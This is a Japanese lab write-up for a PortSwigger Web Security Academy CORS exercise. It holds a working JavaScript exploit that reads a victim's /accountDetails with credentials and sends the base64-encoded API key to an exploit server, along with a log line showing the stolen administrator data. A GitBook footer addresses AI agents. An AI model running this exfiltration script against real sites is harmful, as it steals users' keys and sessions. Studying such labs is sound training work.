> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cors/cors-basic-origin-reflection.md).

# オリジンの基本的な反射を伴う CORS

PortSwigger Web Security Academy のラボ向けメモ。オリジンの基本的な反射を伴う CORS に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 基本的なオリジン反射による CORS 脆弱性

過度に寛容な CORS 設定（サーバーが任意のオリジンを信頼する）を使用して、クロスオリジンのクエリで管理者から API キーを取得し `認証情報` 、その応答を exploit サーバーに送信します。API 管理者キーが exploit サーバーに送信されると、演習は解決されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 接続に使用する認証情報： `wiener:peter`.
* ページ側のコードは次から API キーを取得し `/accountDetails` 、次のように表示します：

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ヘッダーは次を示しています `Access-Control-Allow-Credentials: true` （サーバーは Cookie/認証情報を含むリクエストを受け入れます）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 次のクエリを `Origin: jord4n.pro` ヘッダー付きでテストすると、応答が返されます（反射されたオリジンが受け入れられます）。

```javascript
Origin: jord4n.pro
```

* サーバーは送信されたオリジンを反射／許可するため、攻撃者が制御するページは `XMLHttpRequest` または `fetch` に `/accountDetails` を実行でき、被害者の Cookie を含めることで（`withCredentials = true`）API キーを含む JSON 応答を取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

応答が読み取れれば、収集のためにサーバーへ送信できます（例：base64 でエンコードする）。

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

実行中のサーバーは、エンコードされた応答を含む GET クエリを受信しました。たとえば次のようになります：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
